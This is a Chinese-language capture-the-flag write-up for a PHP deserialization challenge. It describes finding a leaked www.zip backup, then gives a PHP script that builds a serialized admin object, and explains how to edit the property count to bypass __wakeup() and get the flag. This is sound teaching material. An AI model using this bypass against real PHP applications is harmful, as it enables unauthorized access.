1.题目链接
2.解题思路
(1)进入靶机,我们看到网页提示:备份网站,这时候我们就应该想到有可能源码泄露了。
(2)因此,写一个python脚本,扫描一下这个网站
代码贴在下面
# python版本为3
# 结果中unnormal status code显示的是http请求中响应状态码异常的
# 结果中unnormal length显示的是http请求中响应长度异常的
import sys
import util as UTIL
UTIL.searchBackupFiles(sys.argv[1])
(3)运行脚本
发现www.zip这个可能备份网站的压缩包
(4)我们下载下来
(5)在class.php中,我们观察一下这个Name类
想要得到flag,必须满足username===admin,password==100,于是我们就要绕过__wakeup()函数了。
(__wakeup()函数的使用与绕过我之前发过一篇,不懂的可以看这篇反序列化渗透与防御之PHP-CSDN博客)
(6)再看一下index.php
很明显,用get传参,然后反序列化,其实这里就是一个反序列化的题目了。
(7)我们写一下代码
<?php
header("Content-type:text/html;charset=utf-8");
class Name{
private $username = 'admin';
private $password = 100;
}
$name=new Name;
$str=serialize($name);
$str1=urlencode($str);//url编码
echo $str1;
?>
(8)用Burp Suite传参
(Value是代码运行结果,这里要注意改一下参数个数以绕过__wakeup()函数)
(9)成功找到flag